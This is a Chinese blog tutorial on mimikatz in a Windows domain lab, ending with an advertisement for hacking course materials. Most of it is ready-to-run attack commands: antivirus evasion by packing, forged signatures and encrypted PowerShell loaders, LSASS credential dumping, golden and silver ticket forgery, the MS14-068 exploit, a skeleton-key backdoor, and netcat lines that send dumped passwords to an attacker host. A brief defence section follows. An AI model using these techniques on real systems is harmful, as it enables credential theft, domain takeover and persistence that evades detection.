前言
你好哇!暑假快到了,身边好多师傅都开启了"卷王"模式,而我也在南城师傅的帮助下开始了内网这个新征程;mimikatz就是我遇见的一个坎(也是大家内网学习绕不过的坎,基础中的基础),我希望记录下这个过程,尽可能的帮助大家更快的掌握mimikatz的用法和技巧。最后,再次谢谢南城师傅对本文的指导与帮助!!
什么是mimikatz?
答:mimikatz是法国安全研究员Benjamin
Delpy在GitHub开源的内网工具(GitHub下载地址)可用来做一些关于Win内网安全的渗透实验;它在内网渗透中它可以从lsass.exe进程中提取明文密码、哈希值、PIN码和Kerberos票据,因此很多人称之为密码抓取神器;与此同时它还可以执行传递哈希值、传递票据、建立票据、伪造域管理凭证令牌等诸多功能等
还有什么和mimikatz相似的工具?
答:提取目标主机的Hash值的工具有不少,eg:
GetHash
、gsecdump
、PwDump
、Ntdsutil
…但是mimikatz依然是大多数人的选择
补充
:我们尽量对mimikatz进行免杀处理,因为该工具危害过大大多数反病毒公司会对该工具进行拦截;所以我们还要在利用完工具后进行删除,或者把lsass.exe进行的程序打包下载到攻击端,使用Hash破解工具进行破解
和mimikatz搭配的工具?
答:经常搭配mimikatz的工具有很多;eg:
CS
、MSF
、oclHashcat
、lC5
、Ophcrak
、John the Ripper
…其中大部分是Hash破解工具(其中MSF是自带mimikatz的)
0x02 环境与目标
靶场环境:域
靶场资源:通过打点获得的一台域内主机权限 (普通用户)
靶场系统:Win7 x64旗舰版(虚拟机);Win sever 19域控(虚拟机)
靶场目标:
1、在普通用户权限下查看提取的Hash
2、获得域控权限
3、通过mimikatz导出该文件的Hash
4、维持域控权限
0x03 免杀
经过研究发现Mimikatz的提取密码流程如下图所示:
1.获取登录会话信息(包含了用户密码的加密后密文)
2.提取加密密钥的值
3.调用Windows中的BCryptDecrypt函数解密
由于该过程中会调用一些敏感操作,从而产生了一些特征码;导致杀毒软件和def对提取相应的特征从而采用静态扫描的方式对mimiikatz进行查杀,为了避免暴露我们应当对其进行面杀处理;关于免杀这一块,笔者还是处于"脚本小子"的程度;但是通过查阅一些师傅的文章后,也总结出来了一些适合笔者使用的方法与手段;如下所示:
方案一:加壳+签名(静态免杀的好搭档)
首先我们对mimikatz进行一个.ICO图片替换;具体方法是下载ResHacker后通过它打开mimikatz(只能是32位的,至于64位可能是环境问题无法打开)后在Icon Group
中的100里面打开;然后点击操作中的替换图标,最后修改名字就行了。
接下来我们对该.exe文件进行加壳与签名处理即可(加壳工具:MoleBox;签名脚本:地址)
通过加壳可以大幅度减小文件大小,在通过文件签名进行认证伪造,就得到一款好用的免杀木马(个人建议换一些不常用的加壳软件,因为据说国内某软件看见加壳就杀)可以看见效果不错!
方案二:利用脚本加密
我们可以在GitHub上找到大量的加密脚本,这里我们选用大家都熟悉的Powersploit工具来对我们的mimikatz来进行加密(当然,因为脚本越出名被杀的风险越大,所以这个方法的效果自然是"惨目忍睹")Powersploit为我们提供了大量用来加密处理的脚本,而Out- EncryptedScript
这个万能的加密脚本就是其中之一,它会将解密的内容加载到内存非常方便。
这次免杀的方法就非常简单了,原理是:对Invoke-Mimikatz
再做一次Out- EncryptedScript
加密(这里有人可能会问为啥是Invoke- Mimikatz
,众所周知mimikatz被杀的死死的,所以大家都会开发一定的免杀方法,而"脚本小子"就可以站在巨人的的肩膀上进行免杀操作,大大方便了免杀的构造,同时也大幅度提升了免杀的成功率);但是这个脚本长时间没有更新,所以不建议大家使用,这里仅仅是一个思路,供大家参考。
直接下载Powersploit到桌面,输入以下命令进行再次加密处理
Out-EncryptedScript .\Invoke-Mimikatz.ps1 password salty
其实如果成功的话,接着将加密生成的.ps1
脚本放在目标机上,执行命令就可以了
[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de password salt
Invoke-Expression $decrypted
Invoke-Mimikatz
方案三:利用powershell执行"混淆"的代码
这个方法其实参考了方案二的一些步骤;具体实现是将mimiktz.exe
转化为字符串,然后嵌入到Invoke- ReflectivePEInjection.ps1
脚本中直接执行
具体是通过一段.psl代码(ToString.ps1:地址)保存为ToString.ps1后通过powershell执行命令即可
powershell import-module .\ToString.ps1
.\ToString .\mimikatz.exe >>1.txt
接着,我们就可以对1.txt文本进行一个加密混淆,在通过模板生成加密的powershell脚本进行命令执行;我们可以看一下效果是挺不错的!
0x04 运用流程
1、在普通用户权限下查看提取的Hash
#获取权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
友情提示
:现在大多数计算机是64位的,所以应当使用X64文件夹里面的mimikatz;如果发生报错可能是因为你没有管理员权限导致的,所以可以尝试使用管理员权限运行它。(mimiikatz只能抓到上次关机后登录过的账号密码)
2、通过黄金票据伪造获得域控权限
我们通过如下命令导出lsadump文件;获得攻击者需要目标域的sid和tgt的Hahs值
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
在验证之前我们要做好相应的准备工作;检查是否删除了所有的票据,能否打开域控的C盘
#删除所有的票据
klist purge
#查看域控的C盘
dir \WIN-9JJK4CNGD41.cyh.com\c$
然后更据获取的Hash值,伪造出黄金票据,从而使用下图命令进行攻击;发现攻击成功!
mimikatz.exe "kerberos::golden /user:test /domain:whoami查看的域名.com /sid:导出文本中Domain的值 /krbtgt:导出的Hash值 /ptt" exit
3、通过mimikatz导出该文件的Hash
(1)通过mimikatz获取内存口令
privilege::debug
sekurlsa::logonpasswords
(2)通过mimikatz得到内存文件获取口令
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
(3)通过powershell远程命令mimikatz获取内存口令(参考方案二)
(4)通过控制lsass.exe找到ASM文件并导出为.dmp文件,传入攻击端利用mimikatz进行口令读取
4、通过白银票据维持域控权限
首先要伪造白银票据需要获取SID域控的Hash值与DC的IP地址;我们可以通过mimikatz的命令来获取这些东西(如下图所示)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 1.txt
接着开始伪造我们的白银票据,达到去访问指定某一个服务的目的
mimikatz.exe "kerberos::golden /user:用户名 /domain:目标的域名 /sid:导出文本中Domain的值 /target:域的地址 /service:需要访问的服务 /rc4:Hash值 /ptt" exit
关于白银票据我就不过多演示了,如果还有朋友不清楚黄金白银票据原理的,可以移步到我的《浅谈windows认证过程与攻击手段(上)》查看,伪造票据就告一段落,接下来看任意登陆
5、通过MS14-068漏洞登录域环境
通过黄金和白银票据的学习,我发现它们都是需要获取域的Hash;那我们能不能不通过获取Hash达到一样的目的呢?有,它就是大名鼎鼎的SM14-068漏洞,它仅仅需要普通域用户的账号和密码即可达到相同的目标
首先我们使用klist purge
命令清除票据;后通过下列命令获取伪造的证书
ms14-068.exe -u 普通域用户名 -p 普通域用户的密码 -s 用户的SID -d 域的地址
然后我们通过mimikatz导入证书,达到获取域权限的目的
mimikatz.exe "kerberos::ptc 目标域主机域名" exit
友情提示 :SM14-068只有在没有打补丁的情况下才可以使用!
6、通过mimikatz达成域控权限维持
#通过钥匙达到任意用户登陆域控的目的
privilege::debug
misc::skeleton
首先通过上述命令获得skeleton的值,接着mimikatz通过skeleton的值构造钥匙获得权限
net use \\获得的misc的值 mimikatz /user:test
0X05进阶技巧
1.通过Mimikatz输出
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2.通过Mimikatz输出txt文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> 名称.txt
3.将输出远程传输到目标机器中(nc代表netcat;即远程执行命令)
nc -lvp 端口号
nc.exe -vv 目标IP 端口号 -e mimikatz.exe
4.通过Victim执行:
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 攻击者IP 攻击者端口
0X06如何防御
禁用权限
通过网络上的资料查找我们发现禁用WDigest、禁用LSASS、清除凭据缓存、开启白名单等方法
WDigest:它的作用是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用(WDigest与NTLM协议类似,也是挑战认证协议)
LSASS:lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略
凭据缓存:由文档可知在默认情况下Windows会缓存最近10个密码的哈希值
利用工具查找
通常可以使用小红伞或者360等杀毒工具,进行定期的软件查杀即可(但发现概率较小)
修改本地策略
我们通过提权命令中的debug
了解了;用户将调试器附加到任何进程(内核)中需要那些权限;通常在默认情况下,该权限为本地管理员Administrator所有(具体情况如下图所示)
又因为该权限是系统进程,本地管理员日常工作不需要使用此权限调式程序,所以可以移除本地管理员的权限,使得mimikatz无法使用(如下图所示:);这个方法最为简单方便!
0X07小结
本次的技术分享就到此为止了,感谢大家的阅读希望对大家mimikatz的学习有所帮助;因为篇幅所限还有部分,无法和大家深入探讨,不过我会补充的!笔者还处于小白阶段,难免有疏漏,欢迎大家批评指正!
最后
近几年,随着移动互联网、大数据、云计算、人工智能等新一代信息技术的快速发展,围绕网络和数据的服务与应用呈现爆发式增长,丰富的应用场景下暴露出越来越多的网络安全风险和问题。
据腾讯安全《2017上半年互联网安全报告》显示,近年我国高校教育培养的信息安全专业人才仅3万余人,而网络安全人才总需求量则超过70万人,缺口高达95%。
可见,未来行业对于网络安全人才的需求将持续增加。
如何入门学习网络安全【黑客】
【----帮助网安学习,以下所有学习资料文末免费领取!----】
> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)
大纲
首先要找一份详细的大纲。
学习教程
第一阶段:零基础入门系列教程
该阶段学完即可年薪15w+
第二阶段:技术入门
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
面试刷题
最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。
但是,我觉得很多人拿到了却并不会去学习。
大部分人的问题看似是“如何行动”,其实是“无法开始”。
几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。
如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。
资料领取
上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可自动领取↓↓↓
或者
【点此链接】领取